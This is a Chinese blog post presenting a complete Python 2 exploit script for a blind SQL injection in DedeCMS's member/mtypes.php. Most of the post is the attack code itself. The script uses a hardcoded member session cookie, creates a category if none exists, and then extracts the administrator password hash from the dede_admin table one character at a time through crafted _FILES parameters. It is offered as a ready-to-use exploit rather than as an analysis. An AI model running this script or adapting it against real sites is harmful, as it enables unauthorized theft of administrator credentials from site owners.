[Python]DedeCMS mtypes.php注入EXP

好久没有写EXP了，python都快忘了。最近韩宇兄弟发了一个乌云的漏洞并附上了其同事写的exp脚本，自己测试了一下，异常没有处理，老是会出错，于是自己折腾了一个，花了将近1天的时间，唉，技术菜了没办法。。。求师父们收留呀。。。

漏洞的详情，请参考下面的URL：

Dedecms 20150618 注入一枚

EXP介绍：

#!/usr/bin/env python
# -*- coding: gbk -*-
# -*- coding: utf-8 -*-
# Date: 2015/12/25
# Created by 独自等待
# 博客 http://www.waitalone.cn/
import re
import random
import urllib2


def Get_respone(mtype_url, mdata='', method='get'):
    '发送数据包函数'
    headers = {
        'Cookie': 'PHPSESSID=ca63fjj9k36p5djc1e05446cc3; DedeUserID=8; DedeUserID__ckMd5=980fe827fab0e0eb; DedeLoginTime=1452476090; DedeLoginTime__ckMd5=7769b1e887115952',
    }
    try:
        request = urllib2.Request(mtype_url, headers=headers)
        if method == 'post':
            response = urllib2.urlopen(request, data=mdata, timeout=10).read()
        else:
            response = urllib2.urlopen(request, timeout=10).read()
    except Exception, msg:
        print u'[X] 我擦,出错了！', msg
        raise SystemExit()
    else:
        return response


def Create_id():
    '创建分类函数'
    print u'\n[!] 分类ID不存在,正在创建!'
    response = Get_respone(mtype_url + '?dopost=add', 'mtypename=hacker&channelid=1', method='post')
    if '增加分类成功' in response:
        print u'\n[!] 分类创建成功,请重新执行程序!'
    else:
        print u'\n[X] 分类创建失败,请手工创建!'


def Get_id():
    '获取分类ID函数'
    response = Get_respone(mtype_url)
    if '系统关闭了会员功能' in response:
        print u'会员中心关闭,漏洞不存在!'
        raise SystemExit()
    else:
        type_reg = re.compile('mtypename\[(\d+)\]')
        idlist = type_reg.findall(response)
        if idlist: return idlist[0]


def Get_hash(typeid):
    '盲注获取admin密码'
    adminhash = ''
    md5_chars = list('abcdefghijklmnopqrstuvwxyz0123456789QWERTYUIOPLKJHGFDSAZXCVBNM')
    try:
        for i in range(1, 17):
            flag = random.random()
            for j in md5_chars:
                payload_pre = "?dopost=save&_FILES[mtypename][name]=.xxxx&_FILES[mtypename][type]=xxxxx&_FILES[mtypename][tmp_name]["
                payload_cent = urllib2.quote(
                        "a' and `'`.``.mtypeid or if(ascii (substr((select left(substring(pwd,4),16) from dede_admin limit 1),"
                        + str(i) + ",1))=" + str(ord(j)) + ",1,0) and mtypeid=" + str(typeid) + "#"
                )
                payload_end = "]=" + str(flag) + "&_FILES[mtypename][size]=.xxxx]"
                payload = payload_pre + payload_cent + payload_end
                payload_res = Get_respone(mtype_url + payload)
                # print response
                match_res = Get_respone(mtype_url)
                if str(flag) in match_res:
                    print u'[!] 爷,正在爆破第 [%-2d] 位,字符为: %s' % (i, j)
                    adminhash = adminhash + j
                    break
    except KeyboardInterrupt:
        print u'[!] 爷,按您的吩咐,已成功退出!'
    else:
        if adminhash == '':
            print u'[X] 爷,杯具了,漏洞不存在!'
        else:
            print u'\n[¤] 爷,爆破完毕!密码为:', adminhash


if __name__ == '__main__':
    print '+' + '-' * 50 + '+'
    print '\t  Python DedeCMS mtypes.php盲注EXP'
    print '\t   Blog：http://www.waitalone.cn/'
    print '\t\t Code BY： 独自等待'
    print '\t\t Time：2015-12-31'
    print '+' + '-' * 50 + '+'
    print '详情：http://www.wooyun.org/bugs/wooyun-2015-0127787\n'
    mtype_url = 'http://localhost/dedecms/member/mtypes.php'
    typeid = Get_id()
    if typeid is None:
        Create_id()
    else:
        Get_hash(typeid)

最后，祝大家元旦快乐！

from www.waitalone.cn.thanks for it.